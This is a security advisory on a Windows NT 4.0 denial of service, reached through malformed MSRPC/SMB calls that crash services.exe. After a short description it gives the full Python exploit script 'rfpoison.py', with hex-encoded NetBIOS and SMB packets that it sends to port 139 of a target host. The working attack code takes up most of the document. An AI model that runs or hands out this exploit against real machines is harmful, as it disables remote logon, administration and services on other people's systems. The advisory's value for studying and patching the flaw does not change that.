source: http://www.securityfocus.com/bid/754/info

A specially crafted packet can cause a denial of service on an NT 4.0 host, rendering local administration and network communication nearly unusable. This attack will crash the "services" executable, which in turn, disables the ability for the machine to perform actions via named pipes. As a consequence, users will be unable to remotely logon, logoff, manage the registry, create new file share connections, or perform remote administration. Services such as Internet Information Server may also fail to operate as expected. Rebooting the affected machine will resolve the issue, provided it is not attacked again.

The problem lies within the manner that srvsvc.dll makes calls to services.exe. Certain MSRPC calls will return NULL values which are not correctly interpreted by services.exe. This, in turn, may lead to a crash of Services.exe.

If this denial of service is combined with a number of other exploits, it may be possible to have this attack spawn a Debugger (ie Dr Watson) call on the host, which, if trojaned, may execute malicious code on the target host.

#!/usr/bin/env python
#
# Services.exe DoS
# hard work done by: [email protected]
# Python hack by: [email protected]
#
# This only seems to work on NT.  Also, it may have to be run multiple times
# before SERVICES.EXE will die.  Improvements welcome.
#
# Usage: rfpoison.py <ip address>

import string
import struct
from socket import *
import sys

def a2b(s):
    bytes = map(lambda x: string.atoi(x, 16), string.split(s))
    data = string.join(map(chr, bytes), '')
    return data

def b2a(s):
    bytes = map(lambda x: '%.2x' % x, map(ord, s))
    return string.join(bytes, ' ')

# NBSS session request
nbss_session = a2b("""
    81 00  00 48 20 43 4b 46 44 45
    4e 45 43 46 44 45 46 46  43 46 47 45 46 46 43 43
    41 43 41 43 41 43 41 43  41 43 41 00 20 45 48 45
    42 46 45 45 46 45 4c 45  46 45 46 46 41 45 46 46
    43 43 41 43 41 43 41 43  41 43 41 41 41 00 00 00
    00 00
    """)

# SMB stuff
crud = (
    # SMBnegprot Request
    """
    ff 53 4d 42 72 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 00 f4 01 00 00  01 00 00 81 00 02 50 43
    20 4e 45 54 57 4f 52 4b  20 50 52 4f 47 52 41 4d
    20 31 2e 30 00 02 4d 49  43 52 4f 53 4f 46 54 20
    4e 45 54 57 4f 52 4b 53  20 31 2e 30 33 00 02 4d
    49 43 52 4f 53 4f 46 54  20 4e 45 54 57 4f 52 4b
    53 20 33 2e 30 00 02 4c  41 4e 4d 41 4e 31 2e 30
    00 02 4c 4d 31 2e 32 58  30 30 32 00 02 53 61 6d
    62 61 00 02 4e 54 20 4c  41 4e 4d 41 4e 20 31 2e
    30 00 02 4e 54 20 4c 4d  20 30 2e 31 32 00
    """,

    # SMBsessetupX Request
    """
    ff 53 4d 42 73 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 00 f4 01 00 00  01 00 0d ff 00 00 00 ff
    ff 02 00 f4 01 00 00 00  00 01 00 00 00 00 00 00
    00 00 00 00 00 17 00 00  00 57 4f 52 4b 47 52 4f
    55 50 00 55 6e 69 78 00  53 61 6d 62 61 00
    """,

    # SMBtconX Request
    """
    ff 53 4d 42 75 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 00 f4 01 00 08  01 00 04 ff 00 00 00 00
    00 01 00 17 00 00 5c 5c  2a 53 4d 42 53 45 52 56
    45 52 5c 49 50 43 24 00  49 50 43 00
    """,

    # SMBntcreateX request
    """
    ff 53 4d 42 a2 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 08 f4 01 00 08  01 00 18 ff 00 00 00 00
    07 00 06 00 00 00 00 00  00 00 9f 01 02 00 00 00
    00 00 00 00 00 00 00 00  00 00 03 00 00 00 01 00
    00 00 00 00 00 00 02 00  00 00 00 08 00 5c 73 72
    76 73 76 63 00
    """,

    # SMBtrans Request
    """
    ff 53 4d 42 25 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 08 f4 01 00 08  01 00 10 00 00 48 00 00
    00 48 00 00 00 00 00 00  00 00 00 00 00 00 00 4c
    00 48 00 4c 00 02 00 26  00 00 08 51 00 5c 50 49
    50 45 5c 00 00 00 05 00  0b 00 10 00 00 00 48 00
    00 00 01 00 00 00 30 16  30 16 00 00 00 00 01 00
    00 00 00 00 01 00 c8 4f  32 4b 70 16 d3 01 12 78
    5a 47 bf 6e e1 88 03 00  00 00 04 5d 88 8a eb 1c
    c9 11 9f e8 08 00 2b 10  48 60 02 00 00 00      
    """,

    # SMBtrans Request
    """
    ff 53 4d 42 25 00
    00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
    00 00 00 08 f4 01 00 08  01 00 10 00 00 58 00 00
    00 58 00 00 00 00 00 00  00 00 00 00 00 00 00 4c
    00 58 00 4c 00 02 00 26  00 00 08 61 00 5c 50 49
    50 45 5c 00 00 00 05 00  00 03 10 00 00 00 58 00
    00 00 02 00 00 00 48 00  00 00 00 00 0f 00 01 00
    00 00 0d 00 00 00 00 00  00 00 0d 00 00 00 5c 00
    5c 00 2a 00 53 00 4d 00  42 00 53 00 45 00 52 00
    56 00 45 00 52 00 00 00  00 00 01 00 00 00 01 00
    00 00 00 00 00 00 ff ff  ff ff 00 00 00 00      
    """
)
crud = map(a2b, crud)


def smb_send(sock, data, type=0, flags=0):
    d = struct.pack('!BBH', type, flags, len(data))
    #print 'send:', b2a(d+data)
    sock.send(d+data)

def smb_recv(sock):
    s = sock.recv(4)
    assert(len(s) == 4)
    type, flags, length = struct.unpack('!BBH', s)
    data = sock.recv(length)
    assert(len(data) == length)
    #print 'recv:', b2a(s+data)
    return type, flags, data

def nbss_send(sock, data):
    sock.send(data)

def nbss_recv(sock):
    s =  sock.recv(4)
    assert(len(s) == 4)
    return s
    
def main(host, port=139):
    s = socket(AF_INET, SOCK_STREAM)
    s.connect(host, port)
    nbss_send(s, nbss_session)
    nbss_recv(s)
    for msg in crud[:-1]:
        smb_send(s, msg)
        smb_recv(s)
    smb_send(s, crud[-1]) # no response to this
    s.close()

if __name__ == '__main__':
    print 'Sending poison...',
    main(sys.argv[1])
    print 'done.'

--82I3+IH0IqGh5yIs--